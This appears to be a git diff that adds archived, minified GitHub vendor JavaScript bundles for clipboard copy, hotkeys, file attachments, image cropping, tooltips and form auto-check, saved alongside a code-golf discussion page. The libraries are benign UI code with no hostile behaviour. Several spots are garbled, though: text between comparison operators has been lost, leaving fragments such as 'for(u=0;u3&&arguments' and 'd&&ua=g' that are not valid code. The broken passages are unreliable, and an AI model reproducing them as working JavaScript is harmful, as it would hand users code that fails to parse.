q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new 